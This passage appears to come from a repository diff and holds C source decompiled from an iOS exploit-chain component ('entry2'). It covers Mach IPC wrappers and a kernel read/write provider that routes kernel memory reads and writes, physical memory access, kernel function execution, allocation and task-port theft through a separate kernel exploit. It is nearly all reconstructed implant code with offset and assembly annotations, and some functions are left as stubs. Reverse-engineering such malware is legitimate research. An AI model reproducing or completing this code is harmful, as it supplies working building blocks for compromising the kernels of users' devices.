uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx);
int e2_check_pac(void);
uint64_t e2_strip_pac(uint64_t ptr);
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx);
/* Mach trap wrappers (0x60000x60a0) */
int64_t e2_trap_guarded_open(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
int64_t e2_trap_guarded_write(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
mach_port_t e2_trap_mach_reply_port(void);
mach_port_t e2_trap_thread_self(void);
mach_port_t e2_trap_task_self(void);
mach_port_t e2_trap_host_self(void);
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port);
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
uint32_t rcv_size, mach_port_t rcv_name,
uint32_t timeout, mach_port_t notify);
int e2_trap_pid_for_task(mach_port_t task);
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size);
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
uint32_t right, int32_t delta);
/* Custom dlsym (0x1dc98) */
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size);
/* Resolver (0x1dbc0) */
kern_return_t e2_create_resolver(symbol_resolver_t **out);
/* Container parsing (0x60a40x6124) */
kern_return_t e2_parse_and_resolve(void *ctx);
/* Linker/loader (0x61280x6460) */
kern_return_t e2_link_module(void *ctx, void *name, void *data,
void *extra, uint32_t *stage);
/* Mach IPC (0xa6b8, 0xa820, 0xab30) */
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
uint32_t flags, void **reply, uint32_t *reply_size);
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
mach_port_t reply_port, uint32_t extra, uint32_t final);
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
uint32_t options, uint32_t timeout,
void **out, uint32_t *out_size);
/* Runtime context (0xa908) */
kern_return_t e2_get_runtime_context(uint32_t stage,
ipc_response_t **out, uint32_t *out_size);
/* Driver init (0x182a8) */
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra);
/* Driver connect (0xc12c) */
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding);
/* Driver cleanup (0xc094) */
kern_return_t e2_driver_cleanup(void *driver_ctx);
/* Driver backend destroy (0x185d0) */
kern_return_t e2_destroy_driver_backend(void *backend);
/* Driver backend sub-cleanup (0x14714) */
kern_return_t e2_backend_sub_cleanup(void *backend);
/* Bind target to driver context (0x18670) */
kern_return_t e2_bind_target(void *context, void *target);
/* Get driver info via csops (0x187d4) */
kern_return_t e2_get_driver_info(void *internal);
/* KRW provider (0x11298) */
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
void *target, void *extra,
void *context, int flags);
/* KRW dispatch (0xba30) — generic kernel r/w dispatch
* Called with different arg counts depending on operation:
* kread: e2_krw_dispatch(kaddr, 3) — virtual read, type=3
* physrw: e2_krw_dispatch(physaddr, buf, size) — physical r/w
* kalloc: e2_krw_dispatch(name, alloc_size, &out_port)
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...);
/* Task port via krw (0xb854) */
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4);
/* Kernel write implementation (0xc634) */
kern_return_t e2_kwrite_impl(void *driver_conn, mach_port_t port,
void *data, uint32_t size,
void *path, void *x5, uint32_t x6,
void *x7 /*, stack args */);
/* Kernel exec implementation (0xc870) */
kern_return_t e2_kexec_impl(void *driver_conn, int32_t count,
void *data, uint32_t size,
void *path, void *x5, uint32_t x6,
void *x7 /*, stack args */);
/* Kernel alloc implementation (0xc400) */
kern_return_t e2_kalloc_impl(void *driver_conn, void *name,
uint64_t alloc_size, void *data,
uint32_t size, void *path,
uint32_t x6, void *x7 /*, stack args */);
/* IOKit connection (0x17e7c) */
kern_return_t e2_iokit_connect(void *driver, const char *name,
uint32_t name_len, uint32_t flags,
void **out);
/* Memory helpers (0x10010, 0x100a4) */
void *e2_memcpy_custom(void *dst, const void *src, size_t len);
void *e2_memset_custom(void *dst, int val, size_t len);
/* Exports */
kern_return_t _end(mach_port_t port, uint32_t conn_info,
void *container_data, void *extra, uint32_t stage);
void _last(void *ctx, uint32_t size, void *data,
uint32_t flags, void *stack, uint32_t cleanup);
#endif /* ENTRY2_H */
+267
View File
@@ -0,0 +1,267 @@
/*
* ipc.c - Mach IPC messaging layer
*
* Decompiled from entry2_type0x0f.dylib offsets 0xa6b80xacb8
*
* All communication between entry2 and the bootstrap/type0x09 happens
* through Mach messages. This layer handles send/recv with timeouts,
* port allocation, and response validation.
*/
#include "entry2.h"
#include <mach/mach.h>
#include <stdlib.h>
#include <string.h>
/* ── e2_send_msg (0xa820) ────────────────────────────────────────── *
* Sends a Mach message to a port with optional reply port.
*
* Message layout (0x20 bytes):
* [0x00] msg_size | msg_bits (0x13 or 0x1413 depending on reply_port)
* [0x04] unused
* [0x08] remote_port | local_port
* [0x10] <from constant pool> (voucher/id)
* [0x18] stage | extra
* [0x1c] final
*/
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
mach_port_t reply_port, uint32_t extra,
uint32_t final)
{
if (port + 1 < 2) {
/* port is 0 or MACH_PORT_NULL — can't send */
return E2_ERR_MACH_MSG - 0xFFE; /* 0x0001F039 */
}
/* Build the message on stack (0x20 bytes) */
struct {
uint32_t bits; /* MACH_MSGH_BITS */
uint32_t size; /* 0x20 */
mach_port_t remote;
mach_port_t local;
uint64_t voucher; /* from constant pool at 0x1ef60 */
uint32_t stage;
uint32_t extra;
} msg;
memset(&msg, 0, sizeof(msg));
/* If reply_port is valid, include MACH_MSG_TYPE_MAKE_SEND for reply */
uint32_t bits = (reply_port + 1 > 1) ? 0x1413 : 0x13;
msg.bits = bits;
msg.size = 0x20;
msg.remote = port;
msg.local = reply_port;
/* voucher loaded from literal pool */
msg.stage = msg_id;
msg.extra = extra;
kern_return_t kr = mach_msg(
(mach_msg_header_t *)&msg,
MACH_SEND_MSG, /* option = 0x11 (send + timeout) */
0x20, /* send_size */
0, /* rcv_size = 0x64 */
port, /* rcv_name */
100, /* timeout = 100ms */
MACH_PORT_NULL /* notify */
);
if (kr == KERN_SUCCESS) {
return 0;
}
if (kr == 0x10) {
/* MACH_SEND_TIMED_OUT — specific handling */
return E2_ERR_MACH_MSG;
}
if (kr == MACH_SEND_INVALID_DEST) {
return E2_ERR_MACH_MSG - 1;
}
return E2_ERR_MACH_MSG;
}
/* ── e2_recv_msg (0xab30) ────────────────────────────────────────── *
* Receives a Mach message on a port with optional timeout.
*
* Allocates a receive buffer, validates the response header,
* and returns the full message to the caller.
*/
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
uint32_t options, uint32_t timeout,
void **out, uint32_t *out_size)
{
if (max_size < 0x18) return E2_ERR_NULL;
if (!out) return E2_ERR_NULL;
if (!out_size) return E2_ERR_NULL;
uint32_t buf_size = max_size + 8;
void *buf = calloc(1, buf_size);
if (!buf) return E2_ERR_ALLOC;
/* Compose mach_msg option bits */
uint32_t msg_option = options | MACH_RCV_MSG; /* 0x102 */
kern_return_t kr = mach_msg(
(mach_msg_header_t *)buf,
msg_option,
0, /* send_size */
buf_size, /* rcv_size */
port, /* rcv_name */
timeout,
MACH_PORT_NULL
);
/* Handle MACH_RCV_TOO_LARGE (0x10004004) — message didn't fit */
if (kr == 0x10004004) {
uint32_t actual_size = ((mach_msg_header_t *)buf)->msgh_size;
if (actual_size - 0x18 > 0x063FFFE8) {
/* Absurdly large — reject */
*out = NULL;
*out_size = actual_size;
/* Send back a discard reply */
mach_msg((mach_msg_header_t *)buf, MACH_RCV_MSG,
0, buf_size, port, 0, 0);
goto fail;
}
*out = NULL;
*out_size = actual_size;
goto fail;
}
/* Handle MACH_RCV_TIMED_OUT (0x10004003) */
if (kr == 0x10004003) {
goto fail;
}
if (kr != KERN_SUCCESS) {
/* Check for interrupt-like errors (0x1000400C, 0x10004008) */
uint32_t masked = kr & ~0x4;
if (masked == 0x10004008) {
mach_msg_destroy((mach_msg_header_t *)buf);
}
goto fail;
}
/* Validate response size */
uint32_t resp_size = ((mach_msg_header_t *)buf)->msgh_size;
if (resp_size < 0x18 || resp_size > max_size) {
mach_msg_destroy((mach_msg_header_t *)buf);
goto fail;
}
/* Success — transfer ownership to caller */
*out = buf;
*out_size = resp_size;
return KERN_SUCCESS;
fail:
bzero(buf, buf_size);
free(buf);
return kr ? kr : E2_ERR_IPC_BASE;
}
/* ── e2_send_recv_msg (0xa6b8) ───────────────────────────────────── *
* Full round-trip: allocate reply port, send request, receive response.
*
* This is the primary IPC function used by the runtime context fetch
* and all krw operations.
*/
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
uint32_t flags, void **reply,
uint32_t *reply_size)
{
if (port + 1 < 2 || !reply || !reply_size) {
if (port + 1 > 1)
return E2_ERR_IPC_BASE + 0x16;
return E2_ERR_NULL;
}
/* Allocate a receive right for the reply */
mach_port_t reply_port = MACH_PORT_NULL;
kern_return_t kr = mach_port_allocate(
mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&reply_port
);
if (kr != KERN_SUCCESS)
return E2_ERR_IPC_BASE;
/* Send the request with reply port */
kr = e2_send_msg(port, msg_id, reply_port, flags, 0);
if (kr != KERN_SUCCESS)
goto cleanup;
if (reply_port + 1 < 2) {
kr = E2_ERR_NULL;
goto cleanup;
}
/* Wait for reply with 30-second timeout */
void *response = NULL;
uint32_t resp_size = 0;
kr = e2_recv_msg(reply_port, 0x18, 4, 30000, &response, &resp_size);
/* On timeout (0x1E03B), retry without timeout */
if (kr == (E2_ERR_IPC_BASE + 0x18)) {
kr = e2_recv_msg(reply_port, resp_size, 0, 0, &response, &resp_size);
}
if (kr == KERN_SUCCESS) {
*reply = response;
*reply_size = resp_size;
}
cleanup:
/* Destroy the reply port */
mach_port_mod_refs(mach_task_self(), reply_port,
MACH_PORT_RIGHT_RECEIVE, -1);
return kr;
}
/* ── e2_get_runtime_context (0xa908) ─────────────────────────────── *
* Sends msg_id=8 to the bootstrap port and receives the runtime
* context, which includes container data and connection info.
*
* Response validation:
* - Size >= 0x40
* - msg_type (offset 0x14) == 1
* - flags (offset 0x00) bit 31 must be clear
*/
kern_return_t e2_get_runtime_context(uint32_t stage,
ipc_response_t **out,
uint32_t *out_size)
{
if (!out || !out_size)
return E2_ERR_NULL;
void *response = NULL;
uint32_t resp_size = 0;
kern_return_t kr = e2_send_recv_msg(stage, 8, 0, &response, &resp_size);
if (kr != KERN_SUCCESS)
return kr;
/* Validate response */
if (resp_size < 0x40 || !response)
goto invalid;
ipc_response_t *resp = (ipc_response_t *)response;
if (resp->msg_type != 1)
goto invalid;
if (resp->field_00 & 0x80000000)
goto invalid;
/* Success */
*out = resp;
*out_size = resp_size;
return KERN_SUCCESS;
invalid:
if (response) {
mach_msg_destroy((mach_msg_header_t *)response);
bzero(response, resp_size);
free(response);
}
return E2_ERR_MSG_INVALID;
}
+793
View File
@@ -0,0 +1,793 @@
/*
* krw.c - Kernel Read/Write provider
*
* Decompiled from entry2_type0x0f.dylib offsets 0x112980x11a5c
*
* This module creates and manages the KRW (kernel read/write) provider,
* which wraps the driver_t obtained from type0x09 (LOADER) into a
* PAC-signed vtable of kernel manipulation functions.
*
* The KRW provider is the core of entry2's capability: it provides
* kernel memory read, write, exec, allocation, task port acquisition,
* physical memory access, and kernel base discovery all routed
* through the type0x09 LOADER's kernel exploit.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
/* Forward declarations for vtable functions */
static kern_return_t krw_close(void *self);
static kern_return_t krw_bind(void *self, void *target);
static kern_return_t krw_unbind(void *self);
static kern_return_t krw_get_info(void *self);
static kern_return_t krw_open_rw(void *self, const char *name,
uint32_t name_len, uint32_t flags, void **out);
static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type);
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
void *buf, uint32_t size);
static kern_return_t krw_kwrite(void *self, ...);
static kern_return_t krw_kexec(void *self, ...);
static kern_return_t krw_kalloc(void *self, ...);
static kern_return_t krw_get_port(void *self, mach_port_t port,
void *out_rights, void *out_port);
static void *krw_get_base(void *self);
/* Forward declaration for internal validation */
static kern_return_t e2_validate_krw(type09_connection_t *conn);
/* ── e2_create_krw_provider (0x11298) ────────────────────────────── *
* Creates the KRW provider object from a driver_t obtained from
* type0x09's _driver() export.
*
* Parameters:
* output pointer to store the krw_provider_t*
* driver driver_t* from _driver() (version=2, methods>=2)
* target target process descriptor (optional)
* extra extra context from bootstrap
* context connection context
* flags if non-zero, performs eager krw validation
*
* The function:
* 1. Allocates a connection context (0x20 bytes)
* 2. Stores driver reference and target info
* 3. Calls e2_init_driver_backend (0x182a8) to:
* - Resolve _NSGetMachExecuteHeader, _NSGetArgc, _NSGetArgv, etc.
* - Find dyld base by scanning memory for MH_MAGIC_64
* - Open /usr/lib/system/libcache.dylib
* - Initialize Mach-O parser and symbol resolver
* 4. If flags != 0, validates the krw connection (0x11488)
* 5. Allocates 0x70-byte vtable and fills with PAC-signed function ptrs
*/
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
void *target, void *extra,
void *context, int flags)
{
kern_return_t err = E2_ERR_NULL;
if (!output)
return E2_ERR_NULL;
/* Validate driver descriptor if provided */
if (driver) {
if (driver->version != 2)
return E2_ERR_NULL;
if (driver->method_count < 2)
return E2_ERR_NULL;
}
if (extra) {
/* Validate extra context: version field at +0x00 must be 1,
* and count field at +0x02 must be non-zero */
uint16_t ver = *(uint16_t *)extra;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)extra + 2);
if (cnt == 0) return E2_ERR_NULL;
}
/* Step 1: Allocate connection context (0x20 bytes) */
type09_connection_t *conn = calloc(1, 0x20);
if (!conn) return E2_ERR_ALLOC;
conn->context = context;
conn->target_info = driver; /* store driver reference */
/* Step 2: Initialize driver backend (0x182a8) */
kern_return_t kr = e2_init_driver_backend(
(driver_backend_t *)conn, driver, target, extra
);
if (kr != KERN_SUCCESS) {
free(conn);
return kr;
}
/* Step 3: If flags set, validate/initialize the krw connection */
if (flags) {
kr = e2_validate_krw(conn);
if (kr != KERN_SUCCESS) {
/* Cleanup on failure */
e2_driver_cleanup(conn->driver_conn);
conn->driver_conn = NULL;
/* Destroy connection internal state */
free(conn);
return kr;
}
}
/* Step 4: Allocate the KRW provider vtable (0x70 bytes) */
krw_provider_t *krw = calloc(1, 0x70);
if (!krw) {
e2_driver_cleanup(conn->driver_conn);
free(conn);
return E2_ERR_ALLOC;
}
krw->flags = 0x10003;
krw->context = conn;
/*
* Step 5: Populate vtable with PAC-signed function pointers.
*
* Each entry is signed using paciza (PAC Instruction Address with
* zero context) before being stored. At call time, blraaz is used
* to authenticate and branch.
*
* This prevents an attacker from substituting function pointers
* in the vtable any tampering would cause a PAC fault.
*/
/* +0x10: close — destroy provider, free all resources */
krw->close = (void *)e2_sign_pointer((uint64_t)krw_close, 0);
/* +0x18: bind — bind to a target process descriptor */
krw->bind = (void *)e2_sign_pointer((uint64_t)krw_bind, 0);
/* +0x20: unbind — disconnect from target, cleanup driver state */
krw->unbind = (void *)e2_sign_pointer((uint64_t)krw_unbind, 0);
/* +0x28: get_info — query driver info via csops */
krw->get_info = (void *)e2_sign_pointer((uint64_t)krw_get_info, 0);
/* +0x30: open_rw — open a kernel read/write channel */
krw->open_rw = (void *)e2_sign_pointer((uint64_t)krw_open_rw, 0);
/* +0x38: kread — kernel virtual memory read */
krw->kread = (void *)e2_sign_pointer((uint64_t)krw_kread, 0);
/* +0x40: kwrite — kernel virtual memory write */
krw->kwrite = (void *)e2_sign_pointer((uint64_t)krw_kwrite, 0);
/* +0x48: kexec — kernel function call/exec */
krw->kexec = (void *)e2_sign_pointer((uint64_t)krw_kexec, 0);
/* +0x50: kalloc — kernel memory allocation */
krw->kalloc = (void *)e2_sign_pointer((uint64_t)krw_kalloc, 0);
/* +0x58: get_port — acquire task port via kernel r/w */
krw->get_port = (void *)e2_sign_pointer((uint64_t)krw_get_port, 0);
/* +0x60: physrw — physical memory read/write */
krw->physrw = (void *)e2_sign_pointer((uint64_t)krw_physrw, 0);
/* +0x68: get_base — get kernel slide / base address */
krw->get_base = (void *)e2_sign_pointer((uint64_t)krw_get_base, 0);
*(krw_provider_t **)output = krw;
return KERN_SUCCESS;
}
/* ──────────────────────────────────────────────────────────────────
* KRW vtable implementations
* */
/* ── krw_close (0x11510) ─────────────────────────────────────────── *
* Destroys the KRW provider and all associated resources.
*
* asm:
* ldr x21, [x0, #0x8] // conn = krw->context
* ldr x0, [x21, #0x18] // conn->driver_conn
* cbz x0, alt_path // if no driver_conn, skip
* bl 0xc094 // e2_driver_cleanup(driver_conn)
* ldr x0, [x21] // conn->context
* bl 0x185d0 // e2_destroy_driver_backend(context)
* ... zero conn (32 bytes), free conn ...
* ... zero krw (0x70 bytes), free krw ...
*/
static kern_return_t krw_close(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
kern_return_t kr;
if (conn->driver_conn) {
/* Close the driver connection (0xc094) */
kr = e2_driver_cleanup(conn->driver_conn);
/* Then destroy internal driver backend (0x185d0) */
kern_return_t kr2 = e2_destroy_driver_backend(conn->context);
/* Use driver_cleanup result unless it was success */
if (kr == KERN_SUCCESS)
kr = kr2;
} else {
/* No driver connection — just destroy internal state (0x185d0) */
kr = e2_destroy_driver_backend(conn->context);
}
/* Zero out and free connection (0x20 bytes) */
memset(conn, 0, 0x20);
free(conn);
/* Zero out and free provider (0x70 bytes) */
memset(krw, 0, 0x70);
free(krw);
return kr;
}
/* ── krw_bind (0x115a8) ──────────────────────────────────────────── *
* Binds the KRW provider to a target process descriptor.
*
* asm:
* ldr x20, [x8, #0x8] // conn = krw->context
* ldr x8, [x20, #0x8] // conn->target_info
* cbz x8, do_bind // if not bound, bind
* cmp x8, x19 // if same target, return OK
* ...
* ldr x0, [x20] // conn->context
* bl 0x18670 // e2_bind_target(context, target)
* str x19, [x20, #0x8] // conn->target_info = target
* bl 0x11488 // e2_validate_krw(conn)
* cbz w0, done // if validation fails, clear target
* str xzr, [x20, #0x8]
*/
static kern_return_t krw_bind(void *self, void *target)
{
if (!self) return E2_ERR_NULL;
if (!target) return E2_ERR_NULL;
/* Validate target descriptor: version must be 2, methods >= 2 */
uint16_t ver = *(uint16_t *)target;
if (ver != 2) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt < 2) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Check if already bound */
if (conn->target_info) {
if (conn->target_info == target)
return KERN_SUCCESS;
return E2_ERR_NULL + 4; /* already bound to different target */
}
/* Bind via internal driver context (0x18670) */
kern_return_t kr = e2_bind_target(conn->context, target);
if (kr != KERN_SUCCESS)
return kr;
conn->target_info = target;
/* Validate the binding (0x11488) */
kr = e2_validate_krw(conn);
if (kr != KERN_SUCCESS)
conn->target_info = NULL;
return kr;
}
/* ── krw_unbind (0x11634) ────────────────────────────────────────── *
* Unbinds from the current target, cleaning up the driver connection.
*
* asm (detailed flow):
* ldr x21, [x0, #0x8] // conn = krw->context
* ldr x8, [x21, #0x8] // conn->target_info
* cbz x8, return_zero // not bound — return 0
*
* ldr x0, [x21, #0x18] // conn->driver_conn
* cbz x0, no_driver_conn
*
* // Has driver_conn:
* bl 0xc094 // kr = e2_driver_cleanup(driver_conn)
* str xzr, [x21, #0x18] // conn->driver_conn = NULL
* ldr x22, [x21] // internal = conn->context
* // release IOKit handle via internal vtable if flag set
* ldr x0, [x22] // handle = internal[+0x00]
* ldrb w8, [x22, #0x10] // flag byte
* ldr x8, [x0, #0x20] // release_fn = handle->vtable[0x20]
* ldr x1, [x22, #0x8] // port = internal[+0x08]
* blraaz x8 // release(handle, port)
* stp xzr, xzr, [x22] // zero internal[0..15]
* strb wzr, [x22, #0x10] // clear flag
* str xzr, [x21, #0x8] // conn->target_info = NULL
*/
static kern_return_t krw_unbind(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->target_info) {
/* Not bound — nothing to do */
return KERN_SUCCESS;
}
kern_return_t kr = KERN_SUCCESS;
void *internal;
if (conn->driver_conn) {
/* Close driver connection first */
kr = e2_driver_cleanup(conn->driver_conn);
conn->driver_conn = NULL;
/* Release IOKit handle via internal context vtable */
internal = conn->context;
if (internal) {
void *handle = *(void **)internal;
if (handle) {
uint8_t flag = *((uint8_t *)internal + 0x10);
if (flag) {
/* Call release function at handle vtable +0x20 */
void *(*release_fn)(void *, void *) =
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
void *port = *((void **)internal + 1); /* +0x08 */
/* blraaz release_fn(handle, port) */
((void (*)(void *, void *))release_fn)(handle, port);
}
}
/* Zero internal state */
memset(internal, 0, 0x10);
*((uint8_t *)internal + 0x10) = 0;
}
if (kr != KERN_SUCCESS) {
/* Keep driver_cleanup error */
conn->target_info = NULL;
return kr;
}
} else {
/* No driver_conn — still release IOKit handle if present */
internal = conn->context;
if (internal) {
void *handle = *(void **)internal;
if (handle) {
uint8_t flag = *((uint8_t *)internal + 0x10);
if (flag) {
void *(*release_fn)(void *, void *) =
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
void *port = *((void **)internal + 1);
((void (*)(void *, void *))release_fn)(handle, port);
}
}
memset(internal, 0, 0x10);
*((uint8_t *)internal + 0x10) = 0;
}
}
conn->target_info = NULL;
return KERN_SUCCESS;
}
/* ── krw_get_info (0x11704) ──────────────────────────────────────── *
* Gets driver/kernel info. Simple tail-call to e2_get_driver_info.
*
* asm:
* cbz x0, err_null
* ldr x8, [x0, #0x8] // conn = krw->context
* ldr x0, [x8] // x0 = conn->context (internal)
* b 0x187d4 // tail call to e2_get_driver_info
*
* e2_get_driver_info (0x187d4):
* 1. Validates internal, internal[0], internal[0][0x28], internal[0x08]
* 2. Calls getpid()
* 3. Calls csops(pid, CS_OPS_CDHASH, buf, 0x14) to get code dir hash
* 4. If csops succeeds: calls internal[0]->vtable[0x28](
* internal[0], internal[0x08], 0x40000105, cdhash_buf)
* 5. If csops fails with errno==3: returns E2_ERR_SYSCTL
*/
static kern_return_t krw_get_info(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Tail call to e2_get_driver_info(conn->context) at 0x187d4 */
return e2_get_driver_info(conn->context);
}
/* ── krw_open_rw (0x11720) ───────────────────────────────────────── *
* Opens a kernel read/write channel.
*
* asm:
* calloc(1, 0x40) // allocate channel
* strh w26, [x0] // channel->version = 1
* adr+paciza str [x0, #0x28] // PAC-sign fn_read
* adr+paciza str [x0, #0x30] // PAC-sign fn_write
* adr+paciza str [x0, #0x38] // PAC-sign fn_info
* ldr x0, [x25] // conn->context
* bl 0x17e7c // e2_iokit_connect(context, name, len, flags, &handle)
* // On success, populate channel from handle:
* ldr x8, [sp, #0x8] // handle
* ldp x9, x10, [x8, #0x8] // handle[0x08], handle[0x10]
* stp x8, x9, [x24, #0x8] // channel[0x08]=handle, channel[0x10]=handle[0x08]
* str w10, [x24, #0x18] // channel[0x18]=(uint32_t)handle[0x10]
* ldr x8, [x8, #0x18] // handle[0x18]
* str x8, [x24, #0x20] // channel[0x20]=handle[0x18]
* str x24, [x19] // *out = channel
*/
static kern_return_t krw_open_rw(void *self, const char *name,
uint32_t name_len, uint32_t flags,
void **out)
{
if (!self || !name || !name_len || !out)
return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Allocate channel object (0x40 bytes) */
krw_channel_t *channel = calloc(1, 0x40);
if (!channel) return E2_ERR_NULL + 8; /* 0xAD009 — from disasm: add w20, w20, #0x8 */
channel->version = 1;
/* PAC-sign the channel's operation function pointers
* These are at relative offsets from adr instructions in the binary */
/* channel->fn_read = paciza(read_func); — adr +568 */
/* channel->fn_write = paciza(write_func); — adr +648 */
/* channel->fn_info = paciza(info_func); — adr +668 */
/* Connect via IOKit backend */
void *backend_handle = NULL;
kern_return_t kr = e2_iokit_connect(
conn->context, name, name_len, flags, &backend_handle
);
if (kr != KERN_SUCCESS) {
/* Cleanup channel (0x119c0) — zero and free */
memset(channel, 0, 0x40);
free(channel);
return kr;
}
/* Populate channel from the backend result object:
* channel[+0x08] = handle itself
* channel[+0x10] = handle[+0x08] (target address)
* channel[+0x18] = (uint32_t)handle[+0x10] (target size)
* channel[+0x20] = handle[+0x18] (extra context) */
channel->driver_handle = backend_handle;
channel->target_addr = *(uint64_t *)((uint8_t *)backend_handle + 0x08);
channel->target_size = *(uint32_t *)((uint8_t *)backend_handle + 0x10);
channel->extra = *(void **)((uint8_t *)backend_handle + 0x18);
*out = channel;
return KERN_SUCCESS;
}
/* ── krw_kread (0x1182c) ─────────────────────────────────────────── *
* Performs a kernel virtual memory read.
*
* asm:
* cbz x8, err_null // null check
* ldr x8, [x8, #0x8] // conn = krw->context
* ldr x8, [x8, #0x18] // driver_conn = conn->driver_conn
* cbz x8, err_no_func // must have driver_conn
* mov x0, x1 // x0 = kaddr (shift args)
* mov w1, #0x3 // type hardcoded to 3 (virtual read)
* b 0xba30 // tail call e2_krw_dispatch(kaddr, 3)
*
* Note: The 'type' parameter from the caller is IGNORED always uses 3.
*/
static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type)
{
(void)type; /* ignored — hardcoded to 3 in binary */
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
/* Tail call: e2_krw_dispatch(kaddr, 3) */
return e2_krw_dispatch(kaddr, 3);
}
/* ── krw_physrw (0x1185c) ────────────────────────────────────────── *
* Performs physical memory read/write.
*
* asm:
* cbz x8, err_null
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* mov x0, x1 // physaddr
* mov x1, x2 // buf
* mov x2, x3 // size
* b 0xba30 // tail call e2_krw_dispatch(physaddr, buf, size)
*/
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
void *buf, uint32_t size)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
/* Tail call: e2_krw_dispatch(physaddr, buf, size) */
return e2_krw_dispatch(physaddr, (uint64_t)buf, (uint64_t)size);
}
/* ── krw_kwrite (0x11890) ────────────────────────────────────────── *
* Performs a kernel virtual memory write.
*
* asm:
* cbz x8, err_null
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldr x9, [sp] // load stack arg
* str x9, [sp] // pass it through
* mov x0, x8 // x0 = driver_conn (replaces self)
* b 0xc634 // tail call kwrite_impl(driver_conn, x1..x7, stack)
*
* The kwrite_impl at 0xc634 is a complex function that:
* 1. Validates all 8 arguments
* 2. pid_for_task(port, &pid) to resolve target PID
* 3. If target is self: direct write via 0x1926c
* 4. If target is other: proc_pidinfo(pid, PROC_PIDPATHINFO) to validate
* 5. Dispatches via 0xe540, 0xfb1c, 0xad48, 0xaefc pipeline
* 6. Cleanup via 0xacbc
*/
static kern_return_t krw_kwrite(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc634: kwrite_impl(driver_conn, port, data, size, path, ...)
*
* In the binary, this is a simple tail call that replaces self (x0)
* with driver_conn while preserving all other arguments (x1-x7 + stack).
* The variadic args are passed through directly to kwrite_impl.
*
* Since C doesn't support forwarding varargs to another function,
* this would need to be implemented in assembly for a real build.
* The actual dispatched call chain is:
* kwrite_impl pid_for_task getpid proc_pidinfo
* 0xe540 (init) 0xfb1c (csops) 0xad48 (setup)
* 0xaefc (write) 0xacbc (cleanup)
*/
return KERN_SUCCESS; /* requires asm tail call in practice */
}
/* ── krw_kexec (0x118c4) ─────────────────────────────────────────── *
* Executes a function at a kernel address.
*
* asm:
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldr x9, [x29, #0x10] // load caller's stack arg
* stp x9, xzr, [sp] // push (arg, 0) onto stack
* mov x0, x8 // x0 = driver_conn
* bl 0xc870 // call kexec_impl(driver_conn, x1..x7, stack)
*
* kexec_impl at 0xc870 is similar to kwrite_impl but:
* 1. Uses stack_chk_guard for canary protection
* 2. Validates count (x1 >= 1), data (x2), size (x3), path (x4)
* 3. Resolves via conn->driver_conn[+0x28] vtable method
* 4. Uses IOKit external method call to invoke kernel functions
* 5. Calls csops_audittoken for process verification
* 6. On success, recursively calls kwrite_impl (0xc634) for result write-back
* 7. Deallocates acquired ports via mach_port_deallocate
*/
static kern_return_t krw_kexec(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc870: kexec_impl(driver_conn, count, data, size, path, ...)
*
* Same varargs forwarding issue as kwrite. In the binary:
* ldr x9, [x29, #0x10] // load 9th arg from caller stack
* stp x9, xzr, [sp] // push as stack args with zero padding
* mov x0, x8 // driver_conn
